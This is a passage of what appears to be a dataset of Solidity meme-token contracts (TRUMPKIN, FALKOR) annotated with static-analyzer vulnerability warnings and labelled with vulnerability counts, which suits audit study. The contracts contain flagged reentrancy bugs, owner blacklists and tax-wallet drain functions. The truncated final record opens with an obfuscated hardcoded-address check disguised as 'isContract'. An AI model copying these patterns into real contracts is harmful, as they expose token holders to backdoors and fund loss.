private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7d6658f12201aFc3FBdaaBf91a661FeC057E8297);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cbde737): TRUMPKIN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for cbde737: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a46b69e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a46b69e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3413901): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3413901: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a46b69e\n\t\t// reentrancy-benign | ID: 3413901\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a46b69e\n\t\t// reentrancy-benign | ID: 3413901\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6e6a8d2): TRUMPKIN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6e6a8d2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3413901\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a46b69e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 31390ab): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 31390ab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7b9b294): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7b9b294: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 31390ab\n\t\t\t\t// reentrancy-eth | ID: 7b9b294\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 31390ab\n\t\t\t\t\t// reentrancy-eth | ID: 7b9b294\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 7b9b294\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 7b9b294\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7b9b294\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 31390ab\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7b9b294\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7b9b294\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 31390ab\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a46b69e\n\t\t// reentrancy-events | ID: 31390ab\n\t\t// reentrancy-benign | ID: 3413901\n\t\t// reentrancy-eth | ID: 7b9b294\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a46b69e\n\t\t// reentrancy-events | ID: 31390ab\n\t\t// reentrancy-eth | ID: 7b9b294\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7cf28f3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7cf28f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 24b6bcc): TRUMPKIN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 24b6bcc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 65552e7): TRUMPKIN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 65552e7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1e38e1f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1e38e1f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 7cf28f3\n\t\t// reentrancy-eth | ID: 1e38e1f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7cf28f3\n\t\t// unused-return | ID: 65552e7\n\t\t// reentrancy-eth | ID: 1e38e1f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7cf28f3\n\t\t// unused-return | ID: 24b6bcc\n\t\t// reentrancy-eth | ID: 1e38e1f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 7cf28f3\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1e38e1f\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10708.sol",
"size_bytes": 19905,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract FALKOR is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 511a711): FALKOR._taxWallet should be immutable \n\t// Recommendation for 511a711: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 51e2256): FALKOR._initialBuyTax should be constant \n\t// Recommendation for 51e2256: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 14;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55756aa): FALKOR._initialSellTax should be constant \n\t// Recommendation for 55756aa: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: dfe4131): FALKOR._reduceBuyTaxAt should be constant \n\t// Recommendation for dfe4131: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 40900a1): FALKOR._reduceSellTaxAt should be constant \n\t// Recommendation for 40900a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: fdd513d): FALKOR._preventSwapBefore should be constant \n\t// Recommendation for fdd513d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Matt Furie's Falkor\";\n\n string private constant _symbol = unicode\"FALKOR\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0867a50): FALKOR._taxSwapThreshold should be constant \n\t// Recommendation for 0867a50: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 3) / 1000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ccf448): FALKOR._maxTaxSwap should be constant \n\t// Recommendation for 2ccf448: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private firstBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xCA47C8c975b290bDfeacC8Af3cd72c2Cd6568814);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5814905): FALKOR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5814905: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3ecfcdd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3ecfcdd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9c163e5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9c163e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3ecfcdd\n\t\t// reentrancy-benign | ID: 9c163e5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3ecfcdd\n\t\t// reentrancy-benign | ID: 9c163e5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fbfb794): FALKOR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for fbfb794: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9c163e5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3ecfcdd\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e2d22f3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e2d22f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: fbf62a4): FALKOR._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for fbf62a4: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0ba5f7a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0ba5f7a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n\t\t\t// incorrect-equality | ID: fbf62a4\n if (block.number == firstBlock) {\n require(_buyCount < 35, \"Exceeds buys on the first block.\");\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e2d22f3\n\t\t\t\t// reentrancy-eth | ID: 0ba5f7a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e2d22f3\n\t\t\t\t\t// reentrancy-eth | ID: 0ba5f7a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 0ba5f7a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 0ba5f7a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0ba5f7a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e2d22f3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 0ba5f7a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0ba5f7a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e2d22f3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3ecfcdd\n\t\t// reentrancy-events | ID: e2d22f3\n\t\t// reentrancy-benign | ID: 9c163e5\n\t\t// reentrancy-eth | ID: 0ba5f7a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3ecfcdd\n\t\t// reentrancy-events | ID: e2d22f3\n\t\t// reentrancy-eth | ID: 0ba5f7a\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9de468f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9de468f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f633ec3): FALKOR.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f633ec3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dac8536): FALKOR.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for dac8536: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8f90d82): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8f90d82: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9de468f\n\t\t// reentrancy-eth | ID: 8f90d82\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9de468f\n\t\t// unused-return | ID: dac8536\n\t\t// reentrancy-eth | ID: 8f90d82\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9de468f\n\t\t// unused-return | ID: f633ec3\n\t\t// reentrancy-eth | ID: 8f90d82\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 9de468f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8f90d82\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 9de468f\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n\n sendETHToFee(ethBalance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10709.sol",
"size_bytes": 20630,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private 